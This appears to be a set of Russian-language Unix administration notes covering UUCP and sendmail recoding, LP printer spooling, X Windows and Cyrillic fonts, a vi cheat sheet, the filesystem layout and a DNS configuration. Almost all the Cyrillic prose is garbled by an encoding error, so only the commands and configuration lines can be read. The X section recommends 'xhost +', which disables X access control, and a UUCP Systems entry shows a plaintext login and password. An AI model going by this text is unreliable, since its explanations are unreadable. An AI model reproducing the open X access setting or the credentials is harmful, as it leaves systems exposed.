        #  設.   襬 -  ⠪ ⨫:

        Cwlocalhost feduru.urup.ru feduru.mss.ru

                &dD஢ઠ ࠡᯮᮡ  ⫠ 䨣樨.&d@

         砫 ஢ਬ, ࠢ쭮  ᮥ .
        ᪠ ணࠬ cu -  ନ.

           cu -l /dev/modem    #   ⠬     뢠

        ᫥ ⮣   ४  ࠡ  ᢮   -
        ⮬.  ,    㤥   , 㤥 ७-
        ࠢ   /dev/modem , ,  "室"   ⮣ -
        , 㤥  ᮢ    襬  ନ. ஡ 
         ⥫䮭 

           atdp100

        ஢, ࠢ쭮   ᪮䨣஢ ""   -
         ⥬  䠩 Systems.

           cu pulsar

        ஢ ࠢ 㯠  䠩 /dev/modem, /dev/contty*. -
          (???):

         crw-rw----   1 root     uucp       ...         /dev/contty0
         crw-rw----   1 root     uucp       ...         /dev/modem

         uucico    ᨬ ஢ 뤠 ⫠筮 -
        ଠ樨. ᪠    짮⥫ uucp

           /usr/lib/uucp/uucico -r1 -x9 -f -s pulsar
           /usr/lib/uucp/uucico -x all -f -s kiae

         ⥬ ᬮ   ᮤঠ  䠩  ⨪ uucp 
        ⠫ /var/spool/uucp :

           .Admin/audit.local
           .Log/
           .Status/
           ERRLOG
           LOGFILE
           SYSLOG

        ਬ, ⠪ 

           tail -f /var/uucp/.Admin/audit.local &
           tail -f /var/uucp/.Log/uucico/kiae

                &dD १⠬ ९᪨&d@.

        ###᫥騩  ᠭ " ⮬"(  )####
        Dmitry Mayorov Compulsory Health Insurance Fund
        Phone: +7 (812) 112-3517                  St. Petersburg, Russia
        > 蠫 䨫஢  sendmail, rmail,
        >    ⭮.   稫   8   -
        > 稢   ?

        , 筮,  ॡ  .   ᨫ쭮 ⨫ 
        ⥫⢮,       ISO. ४஢ -
        ⮬   ⮫쪮 ,   १ UUCP,    .
         ⮣ 諮:

        1. ࠢ sendmail.cf:

        # RelCom UUCP - with ISO 8859-5 to KOI-8 translation
        Muucp-koi, P=/usr/local/bin/_uux, F=mDFMhu, S=52/31, R=21, M=100000,
                           ^^^^^^^^^^^^^^^^^^^ , . 
                   A=_uux - -r -a$f -gC $h!rmail ($u)

        2.  /usr/local/bin/_uux   ப:
        #!/bin/sh
        PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
        /usr/local/bin/iso-koi | /usr/bin/uux $*

        (iso-koi - ⭮  䨫)

         ,  ᠬ , 쬠 吝 hack -   ⮨ 
          祡. , 筮,  ࠡ⠥,        
        ࠩ     ࠢ   - ᯥ -
         ஢મ 訡  稬 䥭窠.

             ⮡ ਭ   KOI ॢ頫  ISO, 筮:

        1. २ rmail  /usr/local/bin/__rmail;
        2.  ᢮ rmail, ⮦   祪:

        #!/bin/sh
        PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
        /usr/local/bin/koi-iso | /usr/local/bin/__rmail $*

        㪠    ந   rmail, -
        ⮬  rbmail ஢ ஫ 㬬.

          rbmail  SVR4/88 ᮢᥬ .  ᪠ 室, ᮡ-
        ...  RelCom ( ࠩ     ஢)    
        .     稭  (᫥ ⢨ Taylor-uucp 
        㤮 Mail-user a),   ன      ⠫  
        uucp/e-mail  Motorol.


        Dmitry Mayorov Compulsory Health Insurance Fund
        Phone: +7 (812) 112-3517                 St. Petersburg, Russia
                --   --
        ################__" "_#######################

                &dDSolaris: ன uucp  direct line&d@

         䠩 Systems  થ 㤠 設 뢠 ⠪:

parolf9franisi Any  dirt06 9600 unused "" P_ZERO "" \n\c ogin:-\n\c-ogin: uuintra\n\c ssword: parolf9f10\n\c "" P_ZERO

              ࠢ  ଠ tailor-uucp ५ ᮫ન
         אַ  모 ᪮쪮 ⥫:

              ⥫    38400, 諮 ⠢ 9600
             뫠  ^M       ப chat- ਭ騩
        Linux  ⪠, 諮    \n\c
               ⠫  ⮫쪮  ᨫ⢥  P_ZERO -
        "no parity" -  ⮣  ਥ    ⨭  砫
        8-⭠ .


         uucp- crontab ⠢ ࠧ  5  맮 uucico

        0,5,10,15,18,20,25,30,35,40,45,50,55 * * * * (\
        /usr/lib/uucp/uucico -r1 -f -s ranisi ; sleep 30 ; \
        /usr/lib/sendmail -q ) > /dev/null 2>&1

              ᮫୮ uucico    "force" redial (-f -
        ᮢᥬ   , ண ⥫ )
        .
                &dD⥬   Unix. LP spoolling&d@
                  (ᠭ ⥬   System V)

             ,  筮,    ⠪: cat file > /dev/lp.  
        짮⥫᪮ ⥬ ⠪ 䮪    ᥣ  ன.
        ⮬ ⠥ 䠩 ⠢  ।  .

              ਭ.  ਭ 
             _ - ਤ뢠 ஬.
             _   -   ᯥ樠   䠩        
        ⠫   .
             _  -  ணࠬ,      ࠧ 
        㤥 ⨬ .

             ᫨      ଠ쭮  ᪮䨣७  ⥬  , 
          ⠪:

            lp -d _  file
                ,  ᫨  ⨬   "default" ਭ
            cat file | lp

            lpstat          ᬮ   ﭨ । 

            cancel [䨪_ ...] [ਭ ...]
                            㡨   

             lp    ᪫뢠  䠩  SPOOL .  
        lpsched 㦨    㯨訩  䠩,  ⠢    
        ।   , ,  । 室, ᪠ 
         , 室  ன      ⠥
        䠩,   뢮 ७ࠢ  _.

                &dD  ⥬  ਭ&d@


            lpshut    #  ६ ४䨣樨  "" lpsched
            lpadmin -pLJ_printer -i/usr/lib/lp/model/lj_print -v/dev/lpt2
                    
            lpadmin -pNash_Nowyj_Printer -mstandard -v/dev/contty
            enable  Nash_Nowyj_Printer
            accept  Nash_Nowyj_Printer
            lpsched   # ᫥ ४䨣樨    lpsched

          accept -  ⠢  ।   ⮬ ਭ
          enable - ࠧ蠥  騥  । 

            lpadmin
                -p__ਭ
                -v_
                -i_ -  ⭮   ணࠬ,
                                              ⠥
                -m_   -   ""  ⠪  ணࠬ,
                                        饩    ⠫
                                        /usr/lib/lp/model
                -o nobanner          - ࠧ user  lp -o nobanner
                      (४ ஢ banner  䥩᭮ ਯ)
                -d printer           - ᤥ ਭ஬  㬮砭
                -?_     -   ਭ 㤠 設
                -?_ਭ__㤠_
                 (  , ᬮ  man)
                -s host!printer -  Solaris - 祭 㤠 ਭ
                                  # । ⨬  ਭ  /etc/lp/Systems
                   ⥬      뢮     ਭ
        ⠢ ࠧ 䥩  ணࠬ.    ।⠢
        ᮡ shell-楤, ४騬 ⠥ 䠩  ଠ
        ᮮ⢥饣 ਭ.


                &dDਬ&d@

        lpadmin -pstar1 -i/udd/print/inter -v/dev/xpit0    #  ਭ
        lpadmin -pstar1 -mdumb -v/dev/lpt1

        &dD  ⥬ 㤠 ਭ&d@
        (   ࠧ ᨩ Unix)
        HP-UX:
            lpadmin -pLJ_printer  -?host -?printer
        Solaris:
             㤠 設  /etc/lp/Systems  ⥬
            lpadmin -pLJ_printer  -s 'host!printer' ; accept LJ_printer

        lpadmin -dstar1                          # ⠭ ਭ஬  㬮砭`

        lpadmin -xstar1                          # ஢ ਭ star1

                &dD&d@

        /usr/lib/lp/model     #  ࠧ 䥩 ணࠬ ()

        /etc/lp               #  ⠫ 䨣樨 ⥬ LP

        /var/spool/lp/*       #  ⠫  ।ﬨ

        man lpadmin           #  ⢥!
        .
                &dD᪠ 窠 X-Windows System&d@

               砫   ਨ   . ।⠢, 
          㦭    ணࠬ,    㤥   ࠡ   
        ᪮  ०.    ॡ:  訢 ,
        ᭨ ᮡ  न , ᮢ  ࠭, ...  
              MS-DOS?  祭  .  襬  
        ணࠬ,   -  :    ,    ࠡ⪠  ᮡ⨩,  
        ᫥    ६饭ﬨ  , ,   ॡ -
        ᮢ,        EGA  ஫,
        㥬 ᥫ... १   ஫ VGA,  १
         SVGA 800x600, 16 梥⮢, ᫥    UVGA  1024x768,  256
        梥⮢, ⥬ XGA 1280x1024, 16 梥⮢...

                &dD᭮  X Windows&d@.

                 ᨬ  ணࠬ.  㬥 ᮢ 
        ᪮ ,  , 㦨   . 
        뢠  X-ࢥ.    ணࠬ - 뢠   X
        Windows, ᮢ 䨧᪨    㬥.      ,  
            ᮢ,    㬥  .    ⨯:
        "ᮢ אַ㣮쭨", "஢ ",  "  ",
        "뢥  ᨬ   䮭", " न ",
         .. । X-ࢥ,        ᯮ  -  .
        ଠ         ᯥ䨪樨            㡫,
        ⠭⨧,  ப .      뢠
        "⮪ X Windows".

                ⠪, ਬ.

             X-ࢥ.   ணࠬ,    ᠭ  ᯥ樠쭮  
        ⭮ 䨧᪮ ன⢮ (      -  ,
        䪮஫,      ), 㬥   ᮢ, 
        㬥   ᮢ  ⮪ X Windows System.

             X-. ਪ ணࠬ, ᯥ稢 ᪨
        䥩  짮⥫.      ᮢ    ࠭
        । X ࢥ  ⮪ X Windows System.

             X-ନ.    騪    (,   䪮஫,   ,
        ,  , ⢥,   ⨢ ),
          ஬  饭  ணࠬ  X-ࢥ.  X-ନ 
        㦨 ᠬ 몭 ᪠ Unix-ࠡ ⠭, 
        ன  X  ࢥ  믮,      ਪ
        .   樠஢  X-terminal  -  騪,     ஬
        ᪠ ⮫쪮 X ࢥ,  祣 ஬.  ᯮ짮
        PC  MS-DOS,     ஬  饭  DOS᪠  ணࠬ,
        ॠ X ࢥ.

             Xlib  - ⥪ C- 㭪権, ॠ ⮪ X
        Windows  System.      ⮩  ⥪      
        ᪨ ணࠬ - X-.

                   ⮣ .

           砥   㭨ᠫ  GAPI  -  (Graphical  Application
        Programming Interface) - ।⢮ ணࠬ஢  ᪨
        ਫ.  짮⥫᪨  ᪨  ணࠬ   ⮬
         易  ,   ⭮  䪮஫.
           ᯮ X-ࢥ.

        ⮪  X Windows 㬥 ""  : ਬ  TCP/IP,
           DEC-net.  ⮬  Xࢥ        
        設,    X- -  㣮.  , ⨭  
         設,  ணࠬ,   ᯥ稢  -  
         㣮.

        X-ࢥ ᯮᮡ 㦨 ࠧ  ⮢, 祬 
        - ६.  襬 ᪮ ࠭    
        ࠧ      -   ஦  ᮡ⢥ X
        ⮬.     饭   襩 設  (
        ன  祭 ᪠ ⥬),   㤠 -
        設, ᮥ    .

                   ⮨.

        ⭮ 祣. ᮢ. X Windows 祭   - ,
        , .  ᮡ     ࠭祭 -
        ⢠.     ணࠬ஢. ( ,   ᥬ -
        ).  ,  룫 ணࠬ  MS  Windows  Mac,
         ।⠢  ᥡ  譨    室  ⥪⮢ X-
        ணࠬ.

                &dD  ᪠&d@.

           襩   設   ᪮ ⥬   X
        ࢥ஬,  ⥢  ⮩ 設 pcat107.foms.msk.ru

          pcat107 㦭 믮 :

            xhost +    # ࠧ X- ணࠬ   設
                       # ᮢ  ࠭ 設 pcat107

        ᪠  襬    X- ணࠬ, ⠪, ⮡ 
        誮 ᮢ      pcat107.     ⮣  襬
         㦭 믮 :

            xterm -display pcat107:0.0 &

                &dD⥪, Motif,   㣫   &d@.

            X-  ணࠬ,  ᯮ  ⥪  Xlib.
         ⠪  ,   쬠 殮 -  쭮  ᮪
        ஢  Xlib'.    ணࠬ⠬ 뫮 ᮧ ᪮쪮
        toolkit' - ⥪  ᮪ ஢,    ॠ-
          ࠧ  widget'.  Widget  -  ॢ ନ X
        Windows.            ᫮   -   Window       Gadget
        (ᯮᮡ),   ᪨ ꥪ⮬  ਢ易묨
          ᢮⢠  ॠﬨ  ⢨ 짮⥫. ਬ
        widgetow:  "",  "誠",  "誮   ⥪⮬", "
        ப⪨",...

         ᫥騥 toolkit':

        Xaw    -
                  Anthena  Widgets.  祭 ୮-,  祭 ᪨,
                  쬠 .  - ᯫ. ᬮ,  
                  룫 ணࠬ xterm, xedit,  xman.   ᤥ
                   Xaw.

        xview  -
                   ⥪  ꥪ⮢, ᯮ짮  ॠ-
                  樨  짮⥫᪨  ⨫ Sun-᪮ ᨨ
                  X Windows  - "Open Windows". 쬠 ᨬ筮. -
                    ,  "-" (⥫쭠  !),
                  祭    த㬠 䥩  짮⥫, 
                  ⮬ ᫥  ⨢ ᯮ㥬 -筠  .
                  室 ⥪ ⥪ xview , ।⠢-
                   ᯫ⭮.     DeskSet - 15 짮-
                  ⥫᪨ ⨫ 室  OpenWindows, ᤥ  
                  ⥪ xview,  SunSoft ⮢ ।⠢  ⮫쪮
                   .  ୮    - 쬠 襢 ($100). 
                  室 ⥪ - 쬠 ண ($200K)

        Motif -
                  ⥪ ⠢ ࣠樥 OSF   ᮢᥬ
                   . 室  ⥪ ⥪ -
                  ,  १୮ ண.  -  ,  
                   Motif'᪨ ਫ   ࠧ -
                   MS  Windows (, IMHO,  쥧 -
                  㯫)

         졥 BSD  Unix V ,  ⭮, System V,   -
         㣫    먣ࠫ Motif.

                &dD䨣஢ X Windows&d@

         Linux ᯮ X11  ॠ樨 XFree86.
        ⮡  ᪮䨣஢, 믮 
        xf86config

                &dD X Windows&d@.

                 設   ᠬ ᪠.  ⠪ 
        㤠    : startx / openwin

                Solaris:

        1. ⠭ ६ 㦥:

        OPENWINHOME=/usr/openwin                 export OPENWINHOME
        LD_LIBRARY_PATH=/usr/openwin/lib         export LD_LIBRARY_PATH
        PATH=/usr/openwin/bin:$PATH              export PATH
        XAPPLERESDIR=/usr/openwin/lib/app-defaults export XAPPLERESDIR

        2.  X Windows 

          openwin

                "ଠ" Unix':

        1. ⠭ ६ 㦥:

        PATH=/usr/bin/X11:$PATH
        XAPPLERESDIR=/usr/lib/X11/app-defaults

        2.  X Windows 

           startx

                "ଠ" Unix' (Unixware).

               ॣ  짮⥫, ⢥ Yes  
        " ᪨ DeskTop".   ᫥  login'  X  Windows
        㤥  ᪠ ⮬᪨. ᫨  ஧,  ⢥⨫
        No,   ᫥ ᯮᮡ    X  Windows  
        ᥡ   㤠.

                &dDன 짮⥫᪮ 㦥 X Windows&d@

              稨 짮⥫᪨ ஥ 䠩,  
        譥 ⠫ 짮⥫, ᯮ . ᫨   ,
        ᯮ   ⠭,   ⢥,  筮  騥  
        ⠫ /usr/lib/X11  /usr/openwin/lib

             ᮭ    ⢥  짮⥫᪨  ன
        ࠭  䠩:

          $HOME/.Xdefaults
          $HOME/.OWdefaults
          /usr/lib/X11/Xdefaults
          /usr/openwin/lib/Xdefaults
          /usr/openwin/lib/app-defaults/*

        ᫥  ࠢ 䠩  ᠬ 室 १:"

             xrdb -merge .Xdefaults

             㦥  (desktop)  -  ..  ணࠬ,  
        ⮬᪨  ᪥ X Windows 室  䠩:

             Solaris:

          $HOME/.openwin-init
          /usr/openwin/lib/openwin-init

            "ଠ쭭" X windows:

          $HOME/.xinitrc
          /usr/lib/X11/xinit/xinitrc

             ன   window-manager'a  -  ..  -    ,
        誨 짮⥫, ᪫    誨, ...

             Solaris:

          $HOME/.openwin-menu
          $HOME/.openwin-menu-*

          /usr/openwin/lib/openwin-menu
          /usr/openwin/lib/openwin-menu-*

             Linux

          $HOME/.fvwmrc
          /usr/lib/X11/fvwm/system.fvwmrc

        .
                &dD VI. ᮪ &d@
        &dD&d@:  == ESC ====>  == :Q ==>  ed
                    ^                  |     ^                |
                    +----aAiIcCrRs <---+     +----- vi -------+

                &dD &d@       &dD  &d@
        {५},hjkl
        ^U/^D   ⠡ /
        ^F/^B   ࠭ /
        ^E/^Y     ப /
        w/b/e   ।/  ᫮/  ᫮
        W/B/E   ।/  ᫮/  ஡ ᫮
         (/)    /।  ।
         {/}    /।  
        [[/]]   /।  㭪  ᥪ
        %         ᪮ (  {
        {n}G     ப {n}
        {n}|      {n}
        H/M/L    砫/।/ ࠭
        z/z./z- ⥪ ப  砫/।/ ࠭
        ^/$/0   砫/ ப

                &dD &d@       &dD &d@
        x       㭨⮦ ᨬ
        X       
        J       ᪫ ப

                &dD &d@       &dD  &d@
        a/i / A/I       ⠢ /। _ / 殬/砫 ப
        R       ० 
        r       㪢  㪢
        s       㪢  㪢
        o/O     ⠢ ப / _
        C$        ப

                &dD &d@       &dD&d@
        ^G       ⥪饬 䠩  ப

                &dD &d@       &dD&d@
        u       ⪠⪠ ()
        ^L/^R   ᮢ

                &dD &d@       &dD   &d@
        ESC        ०
           
        ^W/^U    ᫮/ ப
        ^V      ⠢ CRTL-ᨬ[]

                &dD &d@       &dD  &d@
        p/P     ᯮ ࠣ /। _

        {n} ["㪢_] "" {m}" 樮஢"
           ࠣ !        ப
        d       㭨⮦ ࠣ
        y        ࠣ
        c        ࠣ (==>  ०  )
        &dD<&d@/&dD>&d@     ᤢ /ࠢ
        !        ய ࠣ १ 䨫

                &dD &d@       &dD&d@
        7yy      7 ப   
        "aAd{      a  㤠  _  砫 
        !G sort ஢ ப     

                &dD &d@       &dD""&d@
        :map  __ ⥫_ப  {CR}
        :map! __ ⥫_ப  {CR}  -  ० 
        :ab   ᮪饭        ᮪頥_⥪  {CR}  -  ० 

                &dD &d@       &dD&d@
        ?ப         ᪠ 
        /ப         ᪠ 
        n                
        N                 ᫥  ப

                &dD &d@       &dD__&d@
        :s/ॣ_ࠦ//gc   -   ⢥ত
        :Q/vi                      室 / 室  ० ed
        :g/ப                - ⠢ 㠫 䨫
        :+5                          䠩

                &dD &d@       &dD_ED. 室 ":" ( "Q") 室 "CR" / (VI)&d@
        ^^      ३  ୠ⨢ 
        :[1,$] w [>>] [file]     file [ 1  $ ப]
        :q[!]   ᥠ [஢]
        :[15]r [file]  [!komanda]   ⠢ ᫥ [15] 
        :e     ।஢  䠩
        :n     ।஢ ᫥騩 䠩
        :sh      Shell
        :!     믮 Shello

                &dD &d@       &dD  VI&d@
        :set nu / nonu   㬥஢/㬥஢ ப
        :set smd{CR}     뢠 ⥪騩 ०
        EXINIT="䨣樮 "       - ६ 㦥
        .exrc                           - 䠩   䨣樨
        .
                &dD  ᪨ 䮭    X11&d@

        1.  ⠫ cyrfonts. 㥬 㤠   䠩 *.bdf  *.pcf

           mkdir cyrfonts
           cp *.bdf *.pcf cyrfonts

             砭: ।⥫쭮  䮭  ଠ PCF  
        BDF  ஡    ⮬,  ਫ  뢠  ࠧ   䮭,
        ண    X    FONT-ࢥ  ,  FONT-ࢥ ⠥
        ᪠஢   砥 .BDF   㡨 ,   
        饭. ஢ bdf-䮭   bdftopcf.

        2.   ⠫      䮭⠬   ᮧ    䮭⮢  
        X-server' : fonts.dir

           cd cyrfonts
           mkfontdir

        3. 뢠 X-server', ⮡  ࠫ 䮭  襣 ⠫

           xset +fp $HOME/cyfonts
           xset fp rehash

        4. 㥬 ᪨ 䮭⠬.

           xterm -fn koi9x15
           mailtool -fn koi6x10

            ..


                &dD⮡ ᪨ 䮭 砫  室  㬮砭&d@

        5.  ᪠ X-Windows ⠭ ६ 㦥 FONTPATH

           ᫨   Bourne Shell  /bin/sh  bash  ksh

        FONTPATH=$HOME/cyrfonts:         export FONTPATH

           ᫨ 졠 㣮ࠧ 짮 C-Shell  /bin/csh    tcsh

        setenv FONTPATH $HOME/cyrfonts:

        6.  ᪮஢ 䮭  ४  ⠭묨 䮭⠬.

           cp *.bdf /usr/lib/X11/fonts/misc
           cd /usr/lib/X11/fonts/misc
           mkfontdir
           xset fp rehash

        7. ᫨   XFree,     䠩 /etc/X11/XF86Config

              FontPath  "/home/yourname/cyrfonts/"

        8. ⠭ 䮭  㬮砭  ᢮ .Xdefaults  䠩.

             䠩 .Xdefaults ⠪ 窨:

        font.name:              koi9x15
        icon.font.name:         koi6x10

        XTerm*font:             koi6x10
        XTerm*VT100*font1:      koi6x10
        XTerm*VT100*font2:      koi8x13
        XTerm*VT100*font3:      misc16
        XTerm*VT100*font4:      misc24
        XTerm*VT100*font5:      demos8x14
        XTerm*VT100*font6:      demos8x16

        emacs.font:             koi9x15
        emacs.default_font:     koi9x15

                &dD᫨   SunOs 4.1.1 , ᮮ⢥⢥, NeWS&d@

              襮ᠭ  楤    ࠡ⠥.    NeWS
        ᮢ襭 ᮡ⢥ ଠ 䮭⮢.

        1. ८ࠧ㥬 䮭  ଠ NeWS

        convertfont *.bdf

        2.    NeWS server'
        bldfamily

        3. 砥 䮭  筮,   ⠭⭮ X11

        xset +fp `pwd`     # 塞 ⠫, 砥 䮭.
        xset  fp rehash    # ⮡ ࢥ १⠫ ⠫  䮭⠬

        .

           䠩 Synonims.list ⪭   aliaᠬ.
         䮭   ⮫쪮   䠩.

                &dD஢ 䮭⮢.&d@

          X-Windows  । 䮭⮢.   뢠
        xfed, fontedit, xfd. ᫨   ⠪ , ஡  室.

        xfed font.bdf

        convertfont -v font    砥   font.vfp
        fontedit font.vfp

        ⥬  convertfont  -b ?? font.vfp    砥 font.ff

                &dD祭 ᪮   X-Windows&d@

        ⠭  䠩    ᪫  . (   
         ,  ⭮ ). 믮 

           xmodmap   䠩--᪫.xmm

        ४⥫ / -  CapsLock
        ⮡ ⪫  , 믮 

           xmodmap   default.xmm

                &dD祭 ᪮   XFree86&d@


         XF86Config:

         Section Keyboard
         LeftAlt      Meta
         AltGr        ModeShift
         Right_Ctl    ModeLock
         ScrollLock   ScrollLock
         EndSection

        蠥  ४⥫    ࠢ Ctrl,  ⮬   窠
        CapsLock 㤥 .

                &dD祭 ᪮   OpenWindows  SUN&d@

        쬨   䠩    ᪫    SUN  (ਬ    ),
          ᢮ 譥  ⠫      .keytable  
         openwin. ४⥫ / -  ࠢ AltGraph

                &dD⮡ bash ਭ ᪨ 㪢  &d@

          $HOME/.inputrc ப
        set meta-flag on
        set convert-meta off
        set output-meta on

           .profile ப
        LC_CTYPE=iso_8859_1  export LC_CTYPE
        LC_LOCALE=iso_8859_1 export LC_LOCALE
        LESS="-e -r"         export LESS # ⮡  뢠 ᪨ 㪢

                &dD  &d@

                . ⠫ 䨪樨

                &dD᫨ -  稫.&d@

        1. ᫨   Solaris 2.3, :

          "த" (  X11) Sun'᪨ ணࠬ ᪨
        㪢  㤥.  : textedit, cmdtool, mailtool

        2.  ⠢  ᢥ  Solaris  2.5  2.4. ᫨  , 
        ᯮ   emacs, xterm, xedit.

        3.   ࠧࠩ  ᠬ⥫쭮    ⠪  ﬨ  
        ctype, LC_LOCALE, LC_CTYPE, -lc_basic_locale , NLS, and so on.

            ஡:

        LC_LOCALE=iso_8859_1 export LC_LOCALE
        LC_CTYPE=iso_8859_1  export LC_CTYPE
        LANG=iso_8859_1      export LANG

                &dD䨪 Netscape&d@

           Netscape  3  㦥  ॠ  encoding  koi8-r.  筮
        ⠭  䮭⮢ koi8-r (ᥭ as  iso8859-1),
          ᪨,  ᥭ  as  Family  (Mswin)-*-iso8859-1 
        ⥬  㬥 殤 8-    ⠢    
        ᪨ 䮭.

        &dD⮡ ࠢ塞  室   charset=koi8-r&d@

        ⠢  .Xdefaults 窨:

        Netscape*defaultCharset:                koi8-r
        Netscape*localeCharset*C:               koi8-r
        Netscape*localeCharset*koi8-r:          koi8-r
        Netscape*localeCharset*koi8-u:          koi8-r
        Netscape*localeCharset*ru:              koi8-r
        Netscape*localeCharset*ru_SU:           koi8-r
        Netscape*localeCharset*ru_SU.KOI8-R:    koi8-r

                &dD   㬥 ஢,   ᠫ 樨:&d@

        ⥬ ᮫ Linux - 祭 ᪨ ⮢  ࠭
         ४⥫   ࠢ ALT.

                &dDਫ Applixware&d@

               Applixware  -  ஬  (140Mb)    Unix
        (/AIX/Linux/SCO/...),  ஬  ,  
        -    य,    ஭    ⠡,    image-editor,
        -㧥, html-।, ⮢   ..
               짮   ᮡ,  筮 Winword-6 
        WABI 2.2b

        ਫ Applixware ᠫ  ᮢ
        http://triton.itep.ru/ru/skynet/system.html
        >   ⮩  祢 ᯮᮡ  TTF-⮢  Applix-e - १ ,
        >   ᮦ, ਢ  ⭮   ਢ 㪢  
        >   ( TTF). ⮬ ⠬ ᠭ    ᠬ ᤥ १ PostScript.

         From: ᨫ 設

             -    ⮩  ࠭窥  ᫨誮 ᫮.   
        㯨:    Applix'᪮  䮭-⠫  ਪ⨫
        ᪨ ttf'   ⮬  ਭ樯   :)  ⮡ࠦ 
        ⠥   . (祬   म १ rtf  -  
        ஡).
             ⢥ 㤮⢮ - ttf'   ࠣ䮢᪨
        -  묨 ࠡ   㤥,  ..  ⠬  ᪨  ᨬ
        稭   400 (த ).
        .
                &dD⥢⥫  䨣樮 䠩 Unix&d@.

                ୥ ⠫ "/"

        bin     - ⠫  㯮ॡ⥫  짮⥫.
        sbin    - ⨫ ⥬ 
                   ,    㤥  짮⥫᪮ ०
        dev     - "ன⢠" - ᯥ樠 䠩
        etc     -   䨣樮 䠩
        tmp     - ⠫ ६ 䠩 -  ⥬    짮-
                  ⥫.    㧪.
        lib     - ⥪   䠩, ᯮ㥬 ࠬ, ࠧ-
                  塞 ⥪
        shlib   - ࠧ塞 ⥪
        usr     - 譮 ,  祣 ⠬ ⮫쪮 
        mnt     - "" ⠫,  ஢
                  䠩 ⥬
        var     - 塞 䨣樮  㦥 䠩
        home    -   "user"
        export  - "ᯮ㥬" 䠩.  ⭮, ᮤন 䠩
                  ⥬  ᪮ ⮢,    NFS
        proc    - ᥢ-䠩 ⥬ ⮡ࠦ ﭨ 饭
                  ᮢ
        stand   - ࠧ  㧮묨 䠩 (unix, kdebug)
        tftpboot  "稪"  ᪮ ⮢
        unix    -  樮 ⥬. - 몭 믮塞
                  䠩. ,      /,  뢠  
                  㣮 (ਬ vmunix, vmlinuz)
        lost+found - ⠫, 㤠  ६ 䠩 ⥬ ᪫-
                   䠩, "訥" ᢮ .

                ⠫ /etc  -    䨣樮 䠩
                --------------------------------------------------
        passwd      ।  짮⥫
        shadow      ஫ ( ஢ )
        group      㯯 짮⥫
        aliases    ᨭ ⮢ ᮢ  짮⥫
        ftpusers   ᯨ᮪ 짮⥫,    ftp-
        shells     ᯨ᮪ ଠ "shell'"

        issue      䠩,  ᮤন  ண  뤠  ࠭ ।
                   ਣ襭  室  ⥬.
        motd       䠩, ᮤন ண 뤠    ࠭  ᫥
                   ਣ襭  室  ⥬.

        ttydefs    ࠬ ନ 

        TIMEZONE   䠩    ଠ樥  ᮢ ,  ஬
                   室 

        uucp       䨣樮 䠩 ⥬ UUCP
        mail       䨣樮 䠩 ⥬ mailx/sendmail

        vfstab     ⠡ 㥬 䠩 ⥬
        dfs/dfstab ⠡ ᯮ㥬  NFS ⠫
        auto_home   ⮬᪨ 㥬 ⠫  automount
        auto_master
        format.dat ࠬ   ᪮

        hosts        IP   host'
        networks    ᨬ᪨  IP ⥩
        netmasks   net ᪨ IP ⥩
        ethers     ethernet'  ᪮ ⮢
        hosts.equiv     ᯨ᮪ host',      rsh
        defaultdomain    NDS 

        resolv.conf      㦨  DNS ࢥ஬
        inetd.conf 䨣樮 䠩 inetd 
        services   ᮮ⢥⢨ ஢ TCP ⮢  ᨬ᪨ 
        named.boot ⮢ 䨣 ࢥ DNS

        inittab    奬 ࠡ  init.

        rc0.d/     ⠫  묨 䠩,  ᪠-
        rc2.d/         室  / ᮮ⢥饣 ஢
        rc3.d/     믮
        init.d/     ⮬ ⠫    ⠪ 䠩 

        rc0, rc2, rc3    䠩,   ᪠

        magic        "᪨ ᫠". ᯮ -
                    file  । ⨯ ୮ 䠩.
        termcap    䠩  ᠭﬨ ନ  ଠ termcap

        wtmp         ଠ樥  ᥠ ࠡ 짮⥫  
                   ⥬.    .

                ⠫ /usr

        sadm            - 䠩 ⥬ 
        adm             -   ଠ   ࠡ ⥬ 
                          짮⥫
        bin             - ⨫
        sbin            - ⨫ ⥬ 
        ucb/bin         - ⨫, ࠪ  BSD Unix

        mail            - ⠫  ⮢  㦡.
        man             - 㬥 ⥬  man ଠ
        tmp             - ६ 䠩. 頥  㧪
        include         - include 䠩   C

        lib             - ⥪  -  ⥬,   짮⥫᪨,
                          ࠧ塞    ᪨,   ⠪  
                          㦥 ⠫ 稭 .
         /usr/lib/acct      ⨫  ᡮ ⨪
         /usr/lib/terminfo     ᠭﬨ  ନ.
         /usr/lib/lp    ⠫ ⥬ LP 㫨  
         /usr/lib/uucp  ⠫ ⥬ UUCP 뫪 䠩  

        spool           -   㦥 ६ 䠩
         /usr/spool/lp      ⠫  ࠡ ⥬ 㫨 
         /usr/spool/cron/crontabs     , 믮塞  ᯨᠭ
         /usr/spool/cron/atjobs       ⠢  믮
         /usr/spool/uucp              㫨 ⥬ uucp

        /usr/local      - GNU- ⠫

        /var            -  㦥 䠩
         /var/yp/Makefile - 䨣 NIS
         /var/named       -  ᠭ DNS

        .
                &dDਬ 䨣樮 䠩 DNS  standalone &d@.

        : ᪮䨣஢ DNS-ࢨ  ⤥쭮饩 쭮
        .

                    :           foms.msk.ru
                    :          198.8.3.0
                    :          198.8.2.0
                    DNS ࢥ:      server.foms.msk.ru

         ⮣ 㦭  䠩:

          /etc/named.boot
          /var/named/named.root
          /var/named/primary/local.reverse
          /var/named/primary/foms.msk.ru
          /var/named/primary/foms-hosts-spisok
          /var/named/primary/198.8.2.reverse
          /var/named/primary/198.8.3.reverse

         ᪠  砫쭮 㧪  /sbin/in.named

        ਬ୮  ᮤঠ  䨣樮  䠩 ਢ .
        ।         䨣   襩   .
        ਡ⥫쭠    ⠪:  ࢨ  DNS ন
          named.  Named      뢠  䠩  ⮢
        䨣樨  /etc/named.boot  .   㪠뢠,  
         ,    䠩  ᠭ   ⮢  襣
          (ࠬ primary).   쭮 ন 
         ᠭ:

           foms.msk.ru    -    襣 .
           3.8.198        - "饭"  襣  (
                             ॢ稢  IP-  ।)
           0.0.127        -  祬 ॡ   襩 "local-network"
                             ⭮ ⮫쪮 ࠧࠡ稪 DNS, 
                              ⮦ 㦭 .

            /etc/named.boot ᠭ,   䠩  ᠭ
            , named  뢠,  稭    .

        ;##############
        ; type     domain                source host/file   backup file
        ;
        directory /var/named
        cache      .                     named.root
        primary    0.0.127.in-addr.arpa  primary/local.reverse
        primary    foms.msk.ru           primary/foms.msk.ru
        primary    3.8.198.in-addr.arpa  primary/198.8.3.reverse
        primary    2.8.198.in-addr.arpa  primary/198.8.2.reverse

        ; ,    㦨 १ࢭ name-ࢥ஬
        ; secondary gatelink.fr          134.214.100.1 s/gatelink.fr
